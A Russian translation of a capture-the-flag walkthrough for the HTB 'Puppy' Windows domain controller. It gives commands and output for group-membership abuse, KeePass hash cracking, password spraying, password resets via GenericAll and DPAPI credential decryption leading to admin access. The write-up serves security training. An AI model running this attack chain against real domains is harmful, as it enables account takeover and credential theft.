(Puppy) — машина с площадки HTB для симуляция аудита безопасности Windows Active Directory. Начнем с имеющихся учётных данных сотрудника отдела кадров (HR), который стал жертвой фишинга. Этот пользователь имеет права на изменение состава группы «разработчиков», что позволяет добавить туда собственную учётную запись и получить доступ к сетевым ресурсам (SMB-шарам), где хранится база паролей KeePassXC. После расшифровки секрета с помощью John, пройдем аутентификацию от имени второго пользователя, который состоит в группе старших разработчиков, участники которой имеют право GenericAll над новым пользователем. Поменяем пароль этого пользователя и подключимся через WinRM. На хосте найдем резервную копию сайта, а в ней пароль от последней УЗ. Подключение через WinRM под новым пользователем даст доступ к DPAPI-хранилищу, что в конечном итоге приведет нас к флагу администра.

Разведка: Первичное сканирование
Программа nmap выявила ряд открытых TCP-портов:


Видим множество портов, характерных для контроллера домена Windows.
Для генерации файла хостов (hosts) воспользуемся инструментом netexec, затем внесем изменения в /etc/hosts:
netexec smb 10.10.11.70 --generate-hosts-file puppy.hosts
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
oxdf@hacky$ cat puppy.hosts /etc/hosts | sponge /etc/hosts
Проверим учетные данные:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
Учётные данные также подходят для протокола LDAP, однако не позволяют установить сеанс WinRM (что вполне ожидаемо):
oxdf@hacky$ netexec ldap puppy.htb -u levi.james -p 'KingofAkron2025!'
LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
oxdf@hacky$ netexec winrm puppy.htb -u levi.james -p 'KingofAkron2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\levi.james:KingofAkron2025!
SMB - TCP 445
Помимо стандартных общих ресурсов контроллера домена, существует общая папка под названием DEV:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
Можно попытаться подключиться, но прочитать содержимое пока невозможно:
oxdf@hacky$ smbclient //puppy.htb/dev -U 'levi.james%KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
Комментарий гласит: «DEV-SHARE для пользователей PUPPY-DEVS».
Всего на хосте девять пользователей:
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.70 445 DC Administrator 2025-02-19 19:33:28 0 Built-in account for administering the computer/domain
SMB 10.10.11.70 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.70 445 DC krbtgt 2025-02-19 11:46:15 0 Key Distribution Center Service Account
SMB 10.10.11.70 445 DC levi.james 2025-02-19 12:10:56 0
SMB 10.10.11.70 445 DC ant.edwards 2025-02-19 12:13:14 0
SMB 10.10.11.70 445 DC adam.silver 2025-05-21 21:19:29 0
SMB 10.10.11.70 445 DC jamie.williams 2025-02-19 12:17:26 0
SMB 10.10.11.70 445 DC steph.cooper 2025-02-19 12:21:00 0
SMB 10.10.11.70 445 DC steph.cooper_adm 2025-03-08 15:50:40 0
SMB 10.10.11.70 445 DC [*] Enumerated 9 local users: PUPPY
Тут нет ничего необычного, едем дальше.
Воспользуемся инструментом BloodHound.py для сбора данных и анализа:
oxdf@hacky$ sudo ntpdate puppy.htb
2025-05-21 21:27:55.583922 (+0000) +31038.243275 +/- 0.047243 puppy.htb 10.10.11.70 s1 no-leap
CLOCK: time stepped by 31038.243275
oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 17S
INFO: Compressing output into 20250521213138_bloodhound.zip
Получившийся ZIP-файл загружаем в BloodHound-CE и отмечаем пользователя levi.james как захваченного. Анализ показывает, что принадлежность к группе HR предоставляет ему права GenericWrite над группой Developers:

Сейчас группа содержит трёх участников:

Авторизация от имени Ant.Edwards
Доступ к общему ресурсу DEV
Bloodhound говорит, что у нас нет очевидного пути от группы Разработчиков (Developers). Однако, учитывая комментарий к общему ресурсу, логично попробовать добавить пользователя levi.james в группу Developers, а затем снова проверить права доступа к общему каталогу DEV.
Есть много способов сделать это. Воспользуюсь инструментом net (ставится командой apt install samba):
oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb
oxdf@hacky$ net rpc group members developers -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb
PUPPY\levi.james
PUPPY\ant.edwards
PUPPY\adam.silver
PUPPY\jamie.williams
Теперь netexec показывает, что у пользователя levi.james есть права на чтение (READ):
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
И я могу изучить содержимое:
oxdf@hacky$ smbclient -U puppy.htb/levi.james //puppy.htb/dev --password 'KingofAkron2025!'
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Mar 23 07:07:57 2025
.. D 0 Sat Mar 8 16:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025
Projects D 0 Sat Mar 8 16:53:36 2025
recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025
5080575 blocks of size 4096. 1538336 blocks available
Каталог Projects пуст. По установочному пакету можно выяснить версию используемого KeePassXC. Скачиваем базу данных:
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)
Чтобы получить доступ к базе данных KeePassXC, требуется мастер-пароль. Я попробовал запустить команду keepass2john для генерации хеша, но попытка завершилась неудачей:
oxdf@hacky$ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
В поисках решения проблемы я наткнулся на https://github.com/patecm/cracking_keepass/issues/2:

Установка JohnTheRipper через пакетный менеджер Snap автоматически обновляет версию:
oxdf@hacky$ sudo snap install john-the-ripper
john-the-ripper v1.9.1-ce from Claudio André (claudioandre-br) installed
Теперь я смог получить хеш:
oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
Crack
Так как hashcat пока не поддерживает этот формат хеширования, я снова воспользовался JohnTheRipper:
oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt
KeePass-opencl: Argon2 hash(es) not supported, skipping.
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-Argon2-opencl"
Use the "--format=KeePass-Argon2-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
liverpool (recovery)
1g 0:00:00:11 DONE (2025-05-21 23:00) 0.08857g/s 3.189p/s 3.189c/s 3.189C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Пароль был "liverpool".
Dump Passwords
Установим KeePassXC (sudo snap install keepassxc). Эта версия содержит консольный интерфейс keepassxc.cli, который может экспортировать содержимое базы данных:
oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx
Enter password to unlock recovery.kdbx:
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb","","","0","2025-03-10T09:03:39Z","2025-03-10T09:02:03Z"
Password Spray
Я составил список всех пользователей и запустил password spraying с добытыми паролями.
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users | grep -vF -e '[' -e '-Username-' | awk '{print $5}' | tee users.txt
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
oxdf@hacky$ echo 'liverpool' | keepassxc.cli export --format csv recovery.kdbx | cut -d'"' -f8 | tee passwords.txt
Enter password to unlock recovery.kdbx:
Password
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
ILY2025!
Используйте netexec для перебора паролей и grep для фильтрации успешных попыток:
oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
Подошел для SMB, но не для WinRM:
oxdf@hacky$ netexec smb puppy.htb -u ant.edwards -p 'Antman2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
oxdf@hacky$ netexec winrm puppy.htb -u ant.edwards -p 'Antman2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [-] PUPPY.HTB\ant.edwards:Antman2025!
Shell от Adam.Silver. Enumeration
Ant.Edwards является членом группы «Senior Devs», что даёт ему полный контроль (GenericAll) над учётной записью Adam.Silver:

Мы можем выполнить Kerberoasting, изменить пароль пользователя или добавить shadow credential.
Изменение пароля
Reset
Сначала попробую сменить пароль пользователя Adam.Silver с помощью команды net, следуя инструкциям из Bloodhound:

oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb
Ничего не вышло…
oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:0xdf0xdf. STATUS_ACCOUNT_DISABLED
Аккаунт отключён:

Enable
Активируем учётную запись с помощью утилиты BloodyAD:
oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Теперь все готово:
oxdf@hacky$ netexec smb puppy.htb -u adam.silver -p '0xdf0xdf.'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:0xdf0xdf.
WinRM
Пользователь Adam.Silver имеет доступ через WinRM:

Подключаемся с помощью утилиты evil-winrm-py:
oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\adam.silver\Documents>
И получаем флаг пользователя.
Evil-WinRM PS C:\Users\adam.silver\desktop> cat user.txt
790a0fd5************************
Shell от Steph.Cooper. Enumeration
Домашний каталог пользователя adam.silver абсолютно пустой (кроме флага):
Evil-WinRM PS C:\Users\adam.silver> tree /f
Folder PATH listing
Volume serial number is 311D-593C
C:.
+---3D Objects
+---Contacts
+---Desktop
¦ Microsoft Edge.lnk
¦ user.txt
¦
+---Documents
+---Downloads
+---Favorites
¦ ¦ Bing.url
¦ ¦
¦ +---Links
+---Links
¦ Desktop.lnk
¦ Downloads.lnk
¦
+---Music
+---Pictures
+---Saved Games
+---Searches
+---Videos
Корень диска C:\ содержит необычный каталог Backups:
Evil-WinRM PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
Скачаем его:
Evil-WinRM PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Site Backup
Архив содержит резервную копию веб-сайта, который отсутствует на целевой машине:
oxdf@hacky$ unzip -l site-backup-2024-12-30.zip
Archive: site-backup-2024-12-30.zip
Length Date Time Name
--------- ---------- ----- ----
0 1980-00-00 00:00 puppy/
864 1980-00-00 00:00 puppy/nms-auth-config.xml.bak
0 1980-00-00 00:00 puppy/images/
98560 1980-00-00 00:00 puppy/images/banner.jpg
650325 1980-00-00 00:00 puppy/images/jamie.jpg
692101 1980-00-00 00:00 puppy/images/antony.jpg
1175364 1980-00-00 00:00 puppy/images/adam.jpg
810357 1980-00-00 00:00 puppy/images/Levi.jpg
0 1980-00-00 00:00 puppy/assets/
0 1980-00-00 00:00 puppy/assets/js/
831 1980-00-00 00:00 puppy/assets/js/jquery.scrolly.min.js
12433 1980-00-00 00:00 puppy/assets/js/util.js
2439 1980-00-00 00:00 puppy/assets/js/breakpoints.min.js
89501 1980-00-00 00:00 puppy/assets/js/jquery.min.js
1499 1980-00-00 00:00 puppy/assets/js/main.js
5106 1980-00-00 00:00 puppy/assets/js/jquery.dropotron.min.js
2051 1980-00-00 00:00 puppy/assets/js/browser.min.js
0 1980-00-00 00:00 puppy/assets/webfonts/
34034 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.eot
918991 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.svg
202744 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.ttf
78268 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff2
747927 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.svg
101648 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.woff
203030 1980-00-00 00:00 puppy/assets/webfonts/fa-solid-900.eot
33736 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.ttf
13224 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff2
144714 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.svg
134294 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.eot
89988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff
133988 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.ttf
76736 1980-00-00 00:00 puppy/assets/webfonts/fa-brands-400.woff2
16276 1980-00-00 00:00 puppy/assets/webfonts/fa-regular-400.woff
0 1980-00-00 00:00 puppy/assets/css/
50255 1980-00-00 00:00 puppy/assets/css/main.css
0 1980-00-00 00:00 puppy/assets/css/images/
108 1980-00-00 00:00 puppy/assets/css/images/overlay.png
2819 1980-00-00 00:00 puppy/assets/css/images/highlight.png
59401 1980-00-00 00:00 puppy/assets/css/fontawesome-all.min.css
0 1980-00-00 00:00 puppy/assets/sass/
25026 1980-00-00 00:00 puppy/assets/sass/main.scss
0 1980-00-00 00:00 puppy/assets/sass/libs/
7355 1980-00-00 00:00 puppy/assets/sass/libs/_vendor.scss
1957 1980-00-00 00:00 puppy/assets/sass/libs/_functions.scss
2840 1980-00-00 00:00 puppy/assets/sass/libs/_html-grid.scss
210 1980-00-00 00:00 puppy/assets/sass/libs/_vars.scss
4577 1980-00-00 00:00 puppy/assets/sass/libs/_breakpoints.scss
2218 1980-00-00 00:00 puppy/assets/sass/libs/_mixins.scss
7258 1980-00-00 00:00 puppy/index.html
--------- -------
6635053 49 files
Большая часть архива — статический веб-контент, но есть и конфигурационный файл nms-auth-config.xml.bak:
oxdf@hacky$ unzip site-backup-2024-12-30.zip puppy/nms-auth-config.xml.bak
Archive: site-backup-2024-12-30.zip
inflating: puppy/nms-auth-config.xml.bak
oxdf@hacky$ cat puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Здесь содержится пароль для пользователя Steph.Cooper: "ChefSteph2025!".
WinRM
Этот пароль подходит как для SMB, так и для подключения через WinRM:
oxdf@hacky$ netexec smb puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
oxdf@hacky$ netexec winrm puppy.htb -u steph.cooper -p 'ChefSteph2025!'
WINRM 10.10.11.70 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.10.11.70 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
Получаем shell:
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\steph.cooper\Documents>
Shell от имени steph.cooper_adm
Enumeration
У пользователя Steph.Cooper есть сохранённая учётная запись в Windows Credential Manager:
Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Мастер-ключ тоже находится в соответствующем месте:
Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> ls -force
Directory: C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
DPAPI
По какой-то причине Evil-WinRM вылетает при попытке загрузить эти файлы:
Evil-WinRM PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
Закодируем их в Base64:
Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
Evil-WinRM PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
Для каждого из трех файлов сделаем следующее: вставляем Base64, декодируем и сохраняем в отдельный файл.
Теперь можно расшифровать мастер-ключ с помощью библиотеки dpapi:
oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
И, наконец, расшифровываем с помощью ключа:
oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
WinRM
Получаем shell с помощью Evil-WinRM:
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\steph.cooper_adm\Documents>
Данный пользователь входит в группу Администраторов:
Evil-WinRM PS C:\Users\steph.cooper_adm\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288

Флаг администратора лежит прямо на рабочем столе пользователя Administrator:
